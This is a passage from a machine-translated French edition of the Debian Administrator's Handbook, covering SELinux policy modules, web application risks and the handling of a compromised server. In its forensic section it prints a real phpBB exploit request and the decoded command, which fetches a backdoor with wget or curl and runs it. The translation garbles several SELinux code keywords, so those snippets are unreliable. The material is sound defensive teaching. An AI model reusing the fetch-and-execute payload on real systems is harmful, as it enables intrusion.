domtrans_pattern ($1, monapp_exec_t, monapp_t)

')

########################################
## <résumé> ##
Lisez les fichiers journaux de
myapp. ## </
summary> ## <param name="domain">
## Domaine autorisé à lire les fichiers journaux. ## </param>

interface(`myapp_read_log',` gen_require(`
tapez myapp_log_t;

')

logging_search_logs($1) autorise 1
$ myapp_log_t:file r_file_perms ;
')

Exemple 14.3 [Link] Fichier

DOCUMENTATION La politique de référence évolue comme tout projet de logiciel libre : sur la base de
Explications sur la politique contributions bénévoles. Le projet est hébergé par Tresys, l'une des sociétés les plus actives
de référence dans le domaine SELinux. Leur wiki contient des explications sur la façon dont les règles
sont structurées et sur la façon dont vous pouvez en créer de nouvelles.

[Link]

[Link]. Écrire un fichier .te

Jetez un œil au fichier [Link] :

396 Le manuel de l'administrateur Debian

Machine Translated by Google

ALLER PLUS LOIN Pour structurer correctement la politique, les développeurs SELinux ont utilisé un processeur de

Le langage macro m4 macro­commandes. Au lieu de dupliquer de nombreuses directives d'autorisation similaires, ils
ont créé des « fonctions macro » pour utiliser une logique de niveau supérieur, ce qui aboutit
également à une politique beaucoup plus lisible.

En pratique, m4 est utilisé pour compiler ces règles. Il effectue l'opération inverse : il étend toutes
ces directives de haut niveau dans une énorme base de données de directives d'autorisation.

Les « interfaces » SELinux ne sont que des fonctions macro qui seront remplacées par un
ensemble de règles au moment de la compilation. De même, certains droits sont en fait des
ensembles de droits qui sont remplacés par leurs valeurs au moment de la compilation.

module_politique (monapplication, 1.0.0) 1

########################################
#
# Déclarations
#

tapez monapp_t ; 2
tapez myapp_exec_t ;
domain_type(myapp_t)
domain_entry_file(myapp_t, myapp_exec_t) 3

tapez monapp_log_t ;
logging_log_file (myapp_log_t) 4

tapez monapp_tmp_t ;
files_tmp_file(monapp_tmp_t)

########################################
#
# Politique locale de mon application
#

autoriser myapp_t myapp_log_t:file { read_file_perms append_file_perms } ; 5

autoriser myapp_t myapp_tmp_t:file manage_file_perms;

files_tmp_filetrans(monapp_t,monapp_tmp_t,fichier)

1 Le module doit être identifié par son nom et son numéro de version. Cette directive est nécessaire.

2 Si le module introduit de nouveaux types, il doit les déclarer avec des directives comme celle­
ci. N'hésitez pas à créer autant de types que nécessaire plutôt que d'accorder trop de droits
inutiles.

Chapitre 14 — Sécurité 397

Machine Translated by Google

3 Ces interfaces définissent le type myapp_t comme un domaine de processus qui doit être utilisé par tout
exécutable étiqueté avec myapp_exec_t. Implicitement, cela ajoute un attribut exec_type sur ces objets, ce
qui permet à son tour à d'autres modules d'accorder des droits pour exécuter ces programmes : par
exemple, le module userdomain permet aux processus avec les domaines user_t, staff_t et sysadm_t de
les exécuter. Les domaines des autres applications confinées n'auront pas les droits pour les exécuter, à
moins que les règles ne leur accordent des droits similaires (c'est le cas par exemple de dpkg avec son
domaine dpkg_t ).

4 logging_log_file est une interface fournie par la stratégie de référence. Il indique que les fichiers étiquetés
avec le type donné sont des fichiers journaux qui devraient bénéficier des règles associées (par exemple
accorder le droit de se connecter pour pouvoir les manipuler).

5 La directive Allow est la directive de base utilisée pour autoriser une opération. Le premier paramètre est le
domaine de processus autorisé à exécuter l'opération. Le second définit l'objet qu'un processus du premier
domaine peut manipuler. Ce paramètre est de la forme « type:class » où type est son type SELinux et la
classe décrit la nature de l'objet (fichier, répertoire, socket, fifo, etc.). Enfin, le dernier paramètre décrit les
autorisations (les opérations autorisées).

Les autorisations sont définies comme l'ensemble des opérations autorisées et suivent ce modèle :
{ opération ration1 opération2 }. Cependant, vous pouvez également utiliser des macros représentant les
autorisations les plus utiles. Le fichier /usr/share/selinux/default/include/support/obj_perm_sets. spt les
répertorie.

La page Web suivante fournit une liste relativement exhaustive des classes d'objets et des autorisations
pouvant être accordées.

[Link]

Il ne vous reste plus qu'à trouver l'ensemble minimal de règles nécessaires pour garantir le bon fonctionnement
de l'application ou du service cible. Pour y parvenir, vous devez avoir une bonne connaissance du fonctionnement
de l’application et du type de données qu’elle gère et/ou génère.

Toutefois, une approche empirique est possible. Une fois les objets concernés correctement étiquetés, vous
pouvez utiliser l'application en mode permissif : les opérations qui seraient interdites sont journalisées mais
réussissent quand même. En analysant les logs, vous pouvez désormais identifier les opérations à autoriser.
Voici un exemple d'une telle entrée de journal :

avc : refusé { lecture écriture } pour pid=1876 comm="syslogd" name="xconsole" dev =tmpfs
ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=
system_u:object_r:device_t:s0 tclass=fifo_file

Pour mieux comprendre ce message, étudions­le morceau par morceau.

En observant cette entrée de journal, il est possible de créer une règle qui permettrait cette opération. Par
exemple : autoriser syslogd_t device_t:fifo_file { read write }. Ce processus peut être automatisé, et c'est exactement
ce que propose la commande audit2allow (du package Policycoreutils ). Cette approche n'est utile que si les
différents objets sont déjà correctement étiquetés en fonction de ce qui doit être

398 Le manuel de l'administrateur Debian

Machine Translated by Google

Message Description
avc : refusé Une opération a été refusée.
Cette opération nécessitait la lecture et l'écriture
{ lire écrire }
autorisations.
Le processus avec le PID 1876 a exécuté le
pid=1876
opération (ou essayé de l’exécuter).
Le processus était une instance de syslogd
comm="syslogd"
programme.
nom="xconsole" L'objet cible s'appelait xconsole.
L'appareil hébergeant l'objet cible est un
tmpfs (un système de fichiers en mémoire). Pour un
dev=tmpfs
vrai disque, vous pouviez voir la partition
hébergeant l'objet (par exemple : « hda3 »).
ino=5510 L'objet est identifié par l'inode
numéro 5510.
scontext=system_u:system_r : C'est le contexte de sécurité du processus
syslogd_t:s0 qui a exécuté l'opération.
tcontext=system_u:object_r : C'est le contexte de sécurité de la cible
appareil_t : s0 objet.
tclass=fifo_file L'objet cible est un fichier FIFO.

Tableau 14.1 Analyse d'une trace SELinux

Chapitre 14 — Sécurité 399

Machine Translated by Google

confiné. Dans tous les cas, vous devrez revoir attentivement les règles générées et les valider selon vos
connaissances de l'application. En effet, cette approche tend à accorder plus de droits que ce qui est réellement
nécessaire. La bonne solution consiste souvent à créer de nouveaux types et à accorder des droits sur ces types
uniquement. Il arrive également qu'une opération refusée ne soit pas fatale à l'application, auquel cas il peut être
préférable d'ajouter simplement une règle « dontaudit » pour éviter l'entrée du journal malgré le refus effectif.

COMPLÉMENTS Cela peut paraître étrange que les rôles n'apparaissent pas du tout lors de la création de nouvelles règles.

Aucun rôle dans les règles de stratégie

SELinux utilise uniquement les domaines pour savoir quelles opérations sont autorisées. Le rôle n'intervient
qu'indirectement en permettant à l'utilisateur de basculer vers un autre domaine. SELinux est basé sur
une théorie connue sous le nom de Type Enforcement et le type est le seul élément qui compte lors de
l'octroi des droits.

[Link]. Compilation des fichiers

Une fois que les 3 fichiers ([Link], [Link] et [Link]) correspondent à vos attentes pour les nouvelles
règles, lancez simplement make pour générer un module dans le fichier [Link] (vous pouvez le charger
immédiatement avec semodule ­i example .pp). Si plusieurs modules sont définis, make créera tous les
fichiers .pp correspondants .

14.5. Autres considérations liées à la sécurité

La sécurité n'est pas seulement un problème technique ; il s'agit avant tout de bonnes pratiques et de
compréhension des risques. Cette section passe en revue certains des risques les plus courants, ainsi que
quelques bonnes pratiques qui devraient, selon les cas, accroître la sécurité ou atténuer l'impact d'une attaque
réussie.

14.5.1. Risques inhérents aux applications Web

Le caractère universel des applications web a conduit à leur prolifération. Plusieurs fonctionnent souvent en
parallèle : un webmail, un wiki, un système de groupware, des forums, une galerie de photos, un blog, etc.
Beaucoup de ces applications s'appuient sur la pile « LAMP » (Linux, Apache, MySQL, PHP) . Malheureusement,
bon nombre de ces applications ont également été écrites sans grande considération pour les problèmes de
sécurité. Les données provenant de l’extérieur sont trop souvent utilisées avec peu ou pas de validation. Fournir
des valeurs spécialement conçues peut être utilisé pour subvertir un appel à une commande afin qu'une autre
soit exécutée à la place. La plupart des problèmes les plus évidents ont été résolus au fil du temps, mais de
nouveaux problèmes de sécurité apparaissent régulièrement.

VOCABULAIRE Lorsqu'un programme insère des données dans des requêtes SQL de manière non sécurisée, il devient

Injection SQL vulnérable aux injections SQL ; ce nom couvre le fait de modifier un paramètre de telle manière que la
requête réelle exécutée par le programme soit différente de celle prévue, soit pour endommager la base
de données, soit pour accéder à des données qui ne devraient normalement pas être accessibles.

400 Le manuel de l'administrateur Debian

Machine Translated by Google

[Link]

La mise à jour régulière des applications Web est donc indispensable, de peur qu'un pirate (qu'il s'agisse d'un
attaquant professionnel ou d'un script kiddy) puisse exploiter une vulnérabilité connue. Le risque réel dépend du cas
et va de la destruction de données à l’exécution de code arbitraire, en passant par la dégradation de sites Web.

14.5.2. Savoir à quoi s'attendre

Une vulnérabilité dans une application Web est souvent utilisée comme point de départ pour des tentatives de
piratage. Ce qui suit est un bref aperçu des conséquences possibles.

COUP D'OEIL Apache 2 inclut des modules permettant de filtrer les requêtes HTTP entrantes. Cela permet
Filtrage des requêtes HTTP de bloquer certains vecteurs d'attaque. Par exemple, limiter la longueur des paramètres peut
empêcher les débordements de tampon. Plus généralement, on peut valider les paramètres
avant même qu'ils ne soient transmis à l'application web et restreindre l'accès selon de
nombreux critères. Cela peut même être combiné avec des mises à jour dynamiques du pare­
feu, de sorte qu'un client enfreignant l'une des règles se voit interdire l'accès au serveur Web
pendant une période de temps donnée.

La mise en place de ces contrôles peut être une tâche longue et fastidieuse, mais elle peut
s'avérer payante lorsque l'application Web à déployer a des antécédents douteux en matière
de sécurité. mod­security

(dans le package libapache­mod­security) est le principal module de ce type.

Les conséquences d’une intrusion auront différents niveaux d’évidence selon les motivations de l’attaquant. Les
Script­kiddies n'appliquent que les recettes qu'ils trouvent sur les sites Web ; le plus souvent, ils défigurent une page
Web ou suppriment des données. Dans des cas plus subtils, ils ajoutent des contenus invisibles aux pages Web afin
d'améliorer les référencements vers leurs propres sites dans les moteurs de recherche.

Un attaquant plus avancé ira au­delà de cela. Un scénario catastrophe pourrait se dérouler de la manière suivante :
l'attaquant obtient la possibilité d'exécuter des commandes en tant qu'utilisateur de www­data , mais l'exécution
d'une commande nécessite de nombreuses manipulations. Pour se faciliter la vie, ils installent d'autres applications
Web spécialement conçues pour exécuter à distance de nombreux types de commandes, telles que parcourir le
système de fichiers, examiner les autorisations, télécharger ou télécharger des fichiers, exécuter des commandes et
même fournir un shell réseau. Souvent, la vulnérabilité permettra d'exécuter une commande wget qui téléchargera
des logiciels malveillants dans /tmp/, puis de l'exécuter. Le malware est souvent téléchargé à partir d’un site Web
étranger préalablement compromis, afin de brouiller les pistes et de rendre plus difficile la traçabilité de l’origine réelle
de l’attaque.

À ce stade, l'attaquant dispose d'une liberté de mouvement suffisante pour installer souvent un bot IRC (un robot qui
se connecte à un serveur IRC et peut être contrôlé par ce canal). Ce bot est souvent utilisé pour partager des fichiers
illégaux (copies non autorisées de films ou de logiciels, etc.). Un attaquant déterminé voudra peut­être aller encore
plus loin. Le compte www­data ne permet pas un accès complet à la machine et l'attaquant tentera d'obtenir les
privilèges d'administrateur. Maintenant, cela ne devrait pas être

Chapitre 14 — Sécurité 401

Machine Translated by Google

C'est possible, mais si l'application Web n'était pas à jour, il est probable que le noyau et les autres
programmes soient également obsolètes ; cela fait parfois suite à une décision de l'administrateur qui, bien
qu'ayant connaissance de la vulnérabilité, a négligé de mettre à niveau le système car il n'y a pas d'utilisateurs
locaux. L'attaquant peut alors profiter de cette deuxième vulnérabilité pour obtenir un accès root.

VOCABULAIRE Ce terme couvre tout ce qui peut être utilisé pour obtenir plus d'autorisations que ce qu'un
Élévation de privilèges utilisateur donné devrait normalement avoir. Le programme sudo est conçu précisément
dans le but de donner des droits d'administration à certains utilisateurs. Mais le même terme
est également utilisé pour décrire l’acte d’un attaquant exploitant une vulnérabilité pour
obtenir des droits indus.

Désormais, l’attaquant possède la machine ; ils essaieront généralement de conserver cet accès privilégié le
plus longtemps possible. Il s'agit d'installer un rootkit, un programme qui remplacera certains composants du
système afin que l'attaquant puisse ultérieurement obtenir à nouveau les privilèges d'administrateur ; le rootkit
tente également de cacher sa propre existence ainsi que toute trace de l'intrusion.
Un programme ps détourné omettra de lister certains processus, netstat ne listera pas certaines connexions
actives, et ainsi de suite. En utilisant les autorisations root, l'attaquant a pu observer l'ensemble du système,
mais n'a pas trouvé de données importantes ; ils essaieront donc d'accéder à d'autres machines du réseau
d'entreprise. En analysant le compte de l'administrateur et les fichiers historiques, l'attaquant découvre quelles
machines sont régulièrement consultées. En remplaçant sudo ou ssh par un programme détourné, l'attaquant
peut intercepter certains mots de passe de l'administrateur, qu'il utilisera sur les serveurs détectés… et
l'intrusion peut alors se propager.

Il s’agit d’un scénario cauchemardesque qui peut être évité grâce à plusieurs mesures. Les prochaines
sections décrivent certaines de ces mesures.

14.5.3. Choisir judicieusement le logiciel

Une fois connus les problèmes de sécurité potentiels, ils doivent être pris en compte à chaque étape du
processus de déploiement d’un service, notamment lors du choix du logiciel à installer. De nombreux sites
Web, tels que [Link], conservent une liste des vulnérabilités récemment découvertes, ce qui
peut donner une idée d'un historique de sécurité avant le déploiement d'un logiciel particulier. Bien entendu,
cette information doit être mise en balance avec la popularité dudit logiciel : un programme plus utilisé est une
cible plus tentante, et il sera par conséquent scruté de plus près. D’un autre côté, un programme de niche
peut être rempli de failles de sécurité qui ne sont jamais rendues publiques en raison d’un manque d’intérêt
pour un audit de sécurité.

VOCABULAIRE Un audit de sécurité est le processus de lecture et d'analyse approfondies du code source
Audit de sécurité de certains logiciels, à la recherche des failles de sécurité potentielles qu'ils pourraient
contenir. De tels audits sont généralement proactifs et sont menés pour garantir qu'un
programme répond à certaines exigences de sécurité.

Dans le monde du logiciel libre, il y a généralement une grande marge de choix, et le choix d'un logiciel plutôt
qu'un autre devrait être une décision basée sur les critères qui s'appliquent localement. Plus

402 Le manuel de l'administrateur Debian

Machine Translated by Google

les fonctionnalités impliquent un risque accru de vulnérabilité cachée dans le code ; choisir le programme le plus
avancé pour une tâche peut en fait être contre­productif, et une meilleure approche consiste généralement à
choisir le programme le plus simple qui répond aux exigences.

VOCABULAIRE Une attaque d’exploitation Zero Day est difficile à empêcher ; le terme couvre une vulnérabilité

Exploit du jour zéro qui n'est pas encore connue des auteurs du programme.

14.5.4. Gérer une machine dans son ensemble

La plupart des distributions Linux installent par défaut un certain nombre de services Unix et de nombreux outils.
Dans de nombreux cas, ces services et outils ne sont pas requis pour les objectifs réels pour lesquels
l'administrateur a configuré la machine. En règle générale en matière de sécurité, il est préférable de désinstaller
les logiciels inutiles. En effet, cela ne sert à rien de sécuriser un serveur FTP, si une vulnérabilité dans un autre
service inutilisé peut être utilisée pour obtenir des privilèges d'administrateur sur l'ensemble de la machine.

Pour le même raisonnement, les pare­feu seront souvent configurés pour autoriser uniquement l'accès aux
services censés être accessibles au public.

Les ordinateurs actuels sont suffisamment puissants pour permettre d’héberger plusieurs services sur une même
machine physique. D'un point de vue économique, une telle possibilité est intéressante : un seul ordinateur à
administrer, une consommation énergétique moindre, etc. Du point de vue de la sécurité, un tel choix peut
toutefois poser problème. Un service compromis peut donner accès à l’ensemble de la machine, ce qui
compromet à son tour les autres services hébergés sur le même ordinateur. Ce risque peut être atténué en
isolant les services. Ceci peut être réalisé soit avec la virtualisation (chaque service étant hébergé dans une
machine virtuelle dédiée), soit avec SELinux (chaque démon de service disposant d'un ensemble d'autorisations
correctement conçu).

14.5.5. Les utilisateurs sont des joueurs

Parler de sécurité évoque immédiatement la protection contre les attaques de pirates anonymes cachés dans
la jungle Internet ; mais on oublie souvent que les risques viennent aussi de l'intérieur : un employé sur le point
de quitter l'entreprise pourrait télécharger des fichiers sensibles sur des projets importants et les vendre à des
concurrents, un vendeur négligent pourrait quitter son bureau sans verrouiller sa session. lors d'une réunion
avec un nouveau prospect, un utilisateur maladroit pourrait supprimer le mauvais répertoire par erreur, et ainsi
de suite.

La réponse à ces risques peut passer par des solutions techniques : seules les autorisations requises doivent
être accordées aux utilisateurs et des sauvegardes régulières sont indispensables. Mais dans de nombreux cas,
la protection appropriée impliquera de former les utilisateurs à éviter les risques.

APERÇU RAPIDE Le package autolog fournit un programme qui déconnecte automatiquement les utilisateurs

autologue inactifs après un délai configurable. Il permet également de supprimer les processus utilisateur
qui persistent après la fin d'une session, empêchant ainsi les utilisateurs d'exécuter des démons.

Chapitre 14 — Sécurité 403

Machine Translated by Google

14.5.6. Sécurité physique

Cela ne sert à rien de sécuriser les services et les réseaux si les ordinateurs eux­mêmes ne sont pas protégés. Les
données importantes méritent d'être stockées sur des disques durs remplaçables à chaud dans des matrices RAID, car
les disques durs finissent par tomber en panne et la disponibilité des données est indispensable. Mais si un livreur de
pizza peut entrer dans le bâtiment, se faufiler dans la salle des serveurs et s'enfuir avec quelques disques durs
sélectionnés, une partie importante de la sécurité n'est pas remplie. Qui peut entrer dans la salle des serveurs ? L'accès
est­il surveillé ? Ces questions méritent d’être examinées (et une réponse) lors de l’évaluation de la sécurité physique.

La sécurité physique comprend également la prise en compte des risques d'accidents tels que les incendies.
C'est ce risque particulier qui justifie le stockage des supports de sauvegarde dans un bâtiment séparé, ou au moins dans
un coffre­fort ignifuge.

14.5.7. Responsabilité juridique

Un administrateur jouit, plus ou moins implicitement, de la confiance de ses utilisateurs ainsi que des utilisateurs du
réseau en général. Ils doivent donc éviter toute négligence que des personnes malveillantes pourraient exploiter.

Un attaquant prenant le contrôle de votre machine puis l'utilisant comme base avancée (appelée « système de relais ») à
partir de laquelle effectuer d'autres activités néfastes pourrait vous causer des problèmes juridiques, car la partie attaquée
verrait initialement l'attaque venir de votre système. , et vous considère donc comme l'agresseur (ou comme complice).
Dans de nombreux cas, l'attaquant utilisera votre serveur comme relais pour envoyer du spam, ce qui ne devrait pas avoir
beaucoup d'impact (sauf potentiellement une inscription sur des listes noires qui pourraient restreindre votre capacité à
envoyer des emails légitimes), mais ne sera pas agréable. néanmoins. Dans d'autres cas, des problèmes plus importants
peuvent provenir de votre machine, par exemple des attaques par déni de service. Cela entraînera parfois une perte de
revenus, puisque les services légitimes seront indisponibles et les données pourront être détruites ; Parfois, cela implique
aussi un coût réel, car la partie attaquée peut entamer une procédure judiciaire contre vous. Les titulaires de droits
peuvent vous poursuivre en justice si une copie non autorisée d'une œuvre protégée par la loi sur le droit d'auteur est
partagée depuis votre serveur, ainsi que d'autres sociétés contraintes par des accords de niveau de service si elles sont
tenues de payer des pénalités suite à l'attaque depuis votre machine.

Lorsque de telles situations se produisent, proclamer son innocence ne suffit généralement pas ; à tout le moins, vous
aurez besoin de preuves convaincantes montrant une activité suspecte sur votre système provenant d'une adresse IP
donnée. Cela ne sera pas possible si vous négligez les recommandations de ce chapitre et laissez l'attaquant accéder à
un compte privilégié (root notamment) et l'utiliser pour brouiller les traces.

14.6. Faire face à une machine compromise

Malgré les meilleures intentions et quelle que soit la politique de sécurité soigneusement conçue, un administrateur finit
par être confronté à un acte de détournement. Cette section fournit quelques lignes directrices sur la façon de réagir lorsque

404 Le manuel de l'administrateur Debian

Machine Translated by Google

confronté à ces circonstances malheureuses.

14.6.1. Détecter et voir l'intrusion du cracker

La première étape pour réagir à une fissuration est d’en être conscient. Cela ne va pas de soi, surtout sans une
infrastructure de surveillance adéquate.

Les actes de cracking ne sont souvent détectés que lorsqu'ils ont des conséquences directes sur les services
légitimes hébergés sur la machine, comme un ralentissement des connexions, l'impossibilité de se connecter
pour certains utilisateurs ou tout autre type de dysfonctionnement. Face à ces problèmes, l’administrateur doit
examiner attentivement la machine et examiner attentivement ce qui se comporte mal. C'est généralement le
moment où ils découvrent un processus inhabituel, par exemple un processus nommé apache au lieu du
standard /usr/sbin/apache2. Si nous suivons cet exemple, la chose à faire est de noter son identifiant de
processus et de vérifier /proc/pid/exe pour voir quel programme ce processus est actuellement en cours d'exécution :

# ls ­al /proc/3719/exe
lrwxrwxrwx 1 www­data www­data 0 2007­04­20 16:19 /proc/3719/exe ­> /var/tmp /.bash_httpd/
psybnc

Un programme installé sous /var/tmp/ et exécuté en tant que serveur web ? Aucun doute laissé, la machine est
compromise.

Ceci n'est qu'un exemple, mais bien d'autres indices peuvent sonner l'oreille de l'administrateur :

• une option pour une commande qui ne fonctionne plus ; la version du logiciel que la commande prétend
être ne correspond pas à la version qui est censée être installée selon dpkg ;

• une invite de commande ou un message d'accueil de session indiquant que la dernière connexion
provenait d'un serveur inconnu sur un autre continent ;

• erreurs causées par la partition /tmp/ pleine, qui s'est avérée pleine de copies illégales
de films ;

• et ainsi de suite.

14.6.2. Mise hors ligne du serveur

Dans tous les cas, sauf les plus exotiques, le piratage vient du réseau, et l'attaquant a besoin d'un réseau
fonctionnel pour atteindre ses cibles (accéder à des données confidentielles, partager des fichiers illégaux,
cacher son identité en utilisant la machine comme relais, etc.) . Débrancher l'ordinateur du réseau empêchera
l'attaquant d'atteindre ces cibles, s'il n'y est pas encore parvenu.

Cela n'est possible que si le serveur est physiquement accessible. Lorsque le serveur est hébergé dans le centre
de données d'un hébergeur à l'autre bout du pays, ou si le serveur n'est pas accessible pour toute autre raison,
c'est généralement une bonne idée de commencer par rassembler quelques informations importantes (voir

Chapitre 14 — Sécurité 405

Machine Translated by Google

sections suivantes), puis en isolant ce serveur autant que possible en arrêtant autant de services que possible
(généralement tout sauf sshd). Ce cas reste délicat, car on ne peut pas exclure la possibilité que l'attaquant
dispose d'un accès SSH comme l'administrateur ; cela rend plus difficile le « nettoyage » des machines.

14.6.3. Conserver tout ce qui pourrait servir de preuve

Comprendre l’attaque et/ou engager des poursuites judiciaires contre les attaquants nécessite de prendre des
copies de tous les éléments importants ; cela inclut le contenu du disque dur, une liste de tous les processus en
cours et une liste de toutes les connexions ouvertes. Le contenu de la RAM pourrait également être utilisé, mais
cela est rarement utilisé en pratique.

Dans le feu de l'action, les administrateurs sont souvent tentés d'effectuer de nombreuses vérifications sur la
machine compromise ; ce n'est généralement pas une bonne idée. Chaque commande est potentiellement
détournée et peut effacer des éléments de preuve. Les vérifications doivent être limitées à l'ensemble minimal
(netstat ­ tupan pour les connexions réseau, ps auxf pour une liste de processus, ls ­alR /proc/[0­9]* pour un peu
plus d'informations sur les programmes en cours d'exécution), et chaque vérification doit être effectuée le chèque
doit être soigneusement écrit.

PRUDENCE Même s'il peut sembler tentant d'analyser le système en cours d'exécution, en particulier lorsque le

Analyse à chaud serveur n'est pas physiquement accessible, il est préférable d'éviter cette pratique : vous ne pouvez tout
simplement pas faire confiance aux programmes actuellement installés sur le système compromis. Il est
tout à fait possible qu'une commande ps subvertie masque certains processus, ou qu'un ls subverti
masque des fichiers ; parfois même le noyau est compromis !

Si une telle analyse à chaud est toujours nécessaire, il convient de veiller à n'utiliser que des
programmes reconnus en bon état. Un bon moyen d'y parvenir serait de disposer d'un CD de secours
contenant des programmes vierges ou d'un partage réseau en lecture seule. Cependant, même ces
contre­mesures pourraient ne pas suffire si le noyau lui­même est compromis.

Une fois les éléments « dynamiques » sauvegardés, l'étape suivante consiste à stocker une image complète du
disque dur. Faire une telle image est impossible si le système de fichiers est encore en évolution, c'est pourquoi il
faut la remonter en lecture seule. La solution la plus simple consiste souvent à arrêter brutalement le serveur
(après avoir exécuté la synchronisation) et à le redémarrer sur un CD de secours. Chaque partition doit être
copiée avec un outil tel que dd ; ces images peuvent être envoyées vers un autre serveur (éventuellement avec
le très pratique outil nc ). Une autre possibilité peut être encore plus simple : il suffit de retirer le disque de la
machine et de le remplacer par un nouveau qui pourra être reformaté et réinstallé.

14.6.4. Réinstallation

Le serveur ne doit pas être remis en ligne sans une réinstallation complète. Si la compromission était grave (si
les privilèges administratifs ont été obtenus), il n'y a presque aucun autre moyen d'être sûr que nous sommes
débarrassés de tout ce que l'attaquant a pu laisser derrière lui (en particulier les portes dérobées). Bien entendu,
toutes les dernières mises à jour de sécurité doivent également être appliquées afin de combler la vulnérabilité
utilisée par l'attaquant. Idéalement, l'analyse de l'attaque devrait pointer vers ce vecteur d'attaque, afin que l'on puisse être

406 Le manuel de l'administrateur Debian

Machine Translated by Google

sûr de le réparer réellement ; sinon, on ne peut qu'espérer que la vulnérabilité fasse partie de celles corrigées par les mises à jour.

Réinstaller un serveur distant n'est pas toujours facile ; cela peut impliquer l'assistance de la société d'hébergement, car toutes ces
sociétés ne proposent pas de systèmes de réinstallation automatisés. Il faut veiller à ne pas réinstaller la machine à partir de
sauvegardes effectuées après la compromission. Idéalement, seules les données devraient être restaurées, le logiciel lui­même
devrait être réinstallé à partir du support d'installation.

14.6.5. Analyse médico­légale

Maintenant que le service a été restauré, il est temps d'examiner de plus près les images disque du système compromis afin de
comprendre le vecteur d'attaque. Lors du montage de ces images, il convient de veiller à utiliser les options ro, nodev, noexec,
noatime afin d'éviter de modifier le contenu (y compris les horodatages d'accès aux fichiers) ou d'exécuter des programmes
compromis par erreur.

Retracer un scénario d’attaque implique généralement de rechercher tout ce qui a été modifié et exécuté :

• Les fichiers .bash_history offrent souvent une lecture très intéressante ;

• Il en va de même pour la liste des fichiers récemment créés, modifiés ou consultés ;

• la commande strings permet d'identifier les programmes installés par l'attaquant, en extrayant les chaînes de texte d'un
binaire ;

• les fichiers journaux dans /var/log/ permettent souvent de reconstituer une chronologie des événements ;

• Des outils spécialisés permettent également de restaurer le contenu de fichiers potentiellement supprimés, notamment les
fichiers journaux que les attaquants suppriment souvent.

Certaines de ces opérations peuvent être facilitées grâce à des logiciels spécialisés. En particulier, The Coroner Toolkit (dans le
package tct ) est une collection de ces outils. Il comprend plusieurs outils ; parmi ceux­ci, grave­robber peut collecter des données
d'un système compromis en cours d'exécution, lazarus extrait des données souvent intéressantes de régions non allouées sur des
disques, et pcat peut copier la mémoire utilisée par un processus ; d'autres outils d'extraction de données sont également inclus.

Le package sleuthkit fournit quelques autres outils pour analyser un système de fichiers. Leur utilisation est facilitée par l' interface
graphique Autopsy Forensic Browser (dans le package autopsy ).

14.6.6. Reconstitution du scénario d'attaque

Tous les éléments recueillis lors de l’analyse doivent s’emboîter comme les pièces d’un puzzle ; la création des premiers fichiers
suspects est souvent corrélée aux logs prouvant la violation. Un exemple concret devrait être plus explicite que de longues
divagations théoriques.

Le journal suivant est un extrait d'un fichier [Link] Apache :

Chapitre 14 — Sécurité 407

Machine Translated by Google

[Link] [Link] ­ ­ [27/Nov/[Link] +0100] "GET /phpbb/

[Link]?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252
echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112) %252echr(59)
%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252
echr(32)%252echr(103)%252echr(97)%252echr (98)%252echr(114)%252echr(121)
%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr
(101)%252echr(114) %252echr(118)%252echr(105)%252echr(115)%252echr(116)
%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr
( 47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252
echr(32)%252echr(99)%252echr(117)%252echr(114)% 252echr(108)%252echr(32)
%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr
(107)%252echr(46)%252echr(97 )%252echr(108)%252echr(116)%252echr(101)
%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252 echr(97)%
252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)
%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111) %252echr
(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252 echr
(104)%252echr(109)%252echr(111)%252echr (100)%252echr(32)%252echr
(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252
echr(32)%252echr(46 )%252echr(47)%252echr(98)%252echr(100)%252echr(32) %252echr(38))
%252e%2527 HTTP/1.1" 200 27969 "­" "Mozilla/4.0 ( compatible ; MSIE 6.0 ; Windows
NT 5.1)"

Cet exemple correspond à l'exploitation d'une ancienne vulnérabilité de sécurité dans phpBB.

[Link]

[Link]

Le décodage de cette longue URL permet de comprendre que l'attaquant a réussi à exécuter du code PHP, à
savoir : system("cd /tmp;wget [Link]/bd || curl [Link]. org/bd ­o bd;chmod + x bd;./bd &").
En effet, un fichier bd a été trouvé dans /tmp/. L'exécution de chaînes /mnt/tmp/bd renvoie, entre autres chaînes,
PsychoPhobia Backdoor start.... Cela ressemble vraiment à une porte dérobée.

Quelque temps plus tard, cet accès a été utilisé pour télécharger, installer et exécuter un bot IRC connecté à un
réseau IRC souterrain. Le robot pourrait alors être contrôlé via ce protocole et chargé de télécharger des fichiers à
partager. Ce programme possède même son propre fichier journal :

** 2004­11­29­[Link] : AVIS : :GAB!sex@Rizon­2EDFBC28.pool8250.

[Link] AVIS ReV|DivXNeW|504 :DCC Chat ([Link])
** 2004­11­29­[Link] : tentative de CHAT DCC autorisée par GAB!SEX@RIZON­2
[Link]
** 2004­11­29­[Link] : DCC CHAT reçu de GAB, tentative de connexion à
[Link]:1024
** 2004­11­29­[Link] : connexion DCC CHAT réussie, authentification
** 2004­11­29­[Link] : DCC CHAT Mot de passe correct

408 Le manuel de l'administrateur Debian

Machine Translated by Google

(...)
** 2004­11­29­[Link] : Envoi DCC accepté depuis ReV|DivXNeW|502 : [Link]­ iTa.Oper_­
[Link] (713034 Ko) (...)

** 2004­11­29­[Link] : Envoi DCC accepté de GAB : La_tela_dell_assassino.

avi (666615 Ko) (...)

** 2004­11­29­[Link] : Téléchargement DCC : transfert terminé (666 615 Ko, 1 h 24 s, 183,9 Ko/
sec) (...)

** 2004­11­29­[Link] : Téléchargement DCC : transfert terminé (713 034 Ko, 2 h 28

min 7 s, 80,2 Ko/sec)

Ces traces montrent que deux fichiers vidéo ont été stockés sur le serveur via l'adresse IP [Link].

En parallèle, l'attaquant a également téléchargé deux fichiers supplémentaires, /tmp/pt et /tmp/loginx.

L'exécution de ces fichiers via des chaînes conduit à des chaînes telles que Shellcode placé à 0x%08lx et Now
